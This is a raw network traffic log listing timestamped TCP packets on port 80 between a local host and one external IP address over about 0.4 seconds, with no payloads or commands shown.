Nov 21, 2024 14:11:28.605792046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.605910063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.605952024 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.606662035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.606789112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.606864929 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.607561111 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.607709885 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.607765913 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.608221054 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.608328104 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.608407021 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.609008074 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.609111071 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.609200954 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.609791040 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.609919071 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.609972000 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.610704899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.610793114 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.611413002 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.611532927 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.611572027 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.611572027 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.612199068 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.612302065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.612346888 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.612981081 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.613105059 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.613158941 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.613802910 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.613893032 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.614046097 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.614587069 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.614722013 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.614804983 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.615387917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.615490913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.615557909 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.616188049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.616297007 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.616348028 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.616964102 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.617095947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.617191076 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.617796898 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.617888927 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.618208885 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.618596077 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.618696928 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.618769884 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.619355917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.619507074 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.619559050 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.620165110 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.620275974 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.620352983 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.620959997 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.621176004 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.621249914 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.621757030 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.621870995 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.622054100 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.622592926 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.622665882 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.622719049 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.623389959 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.623564959 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.623635054 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.624001026 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.624121904 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.624186039 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.624789000 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.624917984 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.625060081 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.625571012 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.625688076 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.625729084 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.626398087 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.680020094 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.776137114 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.776154041 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.776232958 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.776277065 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.776308060 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.776616096 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.777264118 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.777384996 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.777681112 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.777873993 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.778084040 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.779378891 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.779442072 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.779460907 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.779500961 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.779650927 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.779736996 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.780005932 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.780421019 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.780488014 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.781141996 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.781208038 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.781318903 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.781407118 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.782480001 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.782660007 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.782742023 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.783559084 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.783632994 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.783725977 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.784090042 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.784168005 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.784352064 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.784637928 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.784718037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.784761906 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.785202980 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.785312891 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.786032915 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.786092043 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.786108017 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.786195993 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.786803007 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.786932945 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.786999941 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.787579060 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.787715912 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.787873983 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.788383007 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.788496971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.788568974 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.789175034 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.789277077 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.789427996 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.789964914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.790065050 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.790116072 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.790757895 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.790867090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.791148901 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.791558981 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.791671038 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.791716099 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.792584896 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.792598009 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.792695999 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.793180943 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.793298006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.793378115 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.793956995 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.794018030 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.794079065 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.794785023 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.794882059 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.795058966 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.795576096 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.795603991 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.795653105 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.796329021 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.796435118 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.796510935 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.797120094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.797261953 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.797302008 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.797945023 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.798068047 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.798233032 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.798733950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.798852921 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.798955917 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.799541950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.799654007 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.799904108 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.800331116 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.800465107 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.800532103 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.801141977 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.801331997 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.801848888 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.801945925 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.802083969 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.802165031 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.802735090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.802836895 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.802907944 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.803630114 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.803703070 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.803832054 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.804320097 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.804445982 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.804505110 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.805181026 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.805285931 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.805444956 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.805934906 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.806133032 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.806258917 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.806802034 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.806955099 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.807085037 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.807533026 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.807677031 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.807868004 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.808326006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.808496952 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.808573961 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.809113979 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.809262037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.809593916 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.809890985 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.810008049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.810050964 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.810776949 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.810893059 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.811033010 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.811502934 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.811629057 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.811820030 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.812292099 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.812375069 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.812413931 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.813081026 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.813213110 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.813829899 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.813999891 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.814101934 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.814166069 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.814711094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.814857006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.815059900 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.815543890 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.815622091 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.815692902 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.816155910 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.816270113 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.816320896 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.816961050 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.817024946 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.817141056 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.817768097 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.817879915 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.817951918 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.818602085 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.867533922 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.968231916 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.968247890 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.968306065 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.968367100 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.968446970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.969180107 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.969248056 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.969516039 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.969578981 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.970022917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.970114946 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.970180035 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.971489906 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.971544981 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.971592903 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.971724033 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.971905947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.972522974 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.972579956 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.972634077 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.972697973 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.973340034 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.973437071 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.973615885 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.973923922 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.974025965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.974106073 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.974807978 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.974910021 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.975037098 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.975502014 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.975666046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.975779057 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.976264000 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.976377010 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.976475954 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.977077007 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.977190018 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.977897882 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.977947950 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.977991104 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.978487968 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.978657007 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.978779078 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.978873014 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.979486942 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.979734898 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.979794025 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.980308056 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.980377913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.980505943 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.981086016 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.981193066 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.981271029 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.981884003 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.981996059 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.982079029 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.982734919 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.982851028 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.983247042 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.983499050 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.983645916 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.983990908 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.984308004 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.984394073 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.984519958 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.985044003 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.985157967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.985193014 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.985975981 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.986088037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.986183882 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.986655951 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.986804008 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.987459898 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.987534046 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.987576962 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.987644911 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.988256931 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.988356113 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.988503933 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.989054918 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.989177942 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.989327908 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.989840031 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.989950895 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.990046024 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.990624905 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.990756989 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.990799904 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.991498947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.991674900 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.991727114 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.992536068 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.992630959 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.992718935 CET	49903	80	192.168.2.6	34.116.198.130
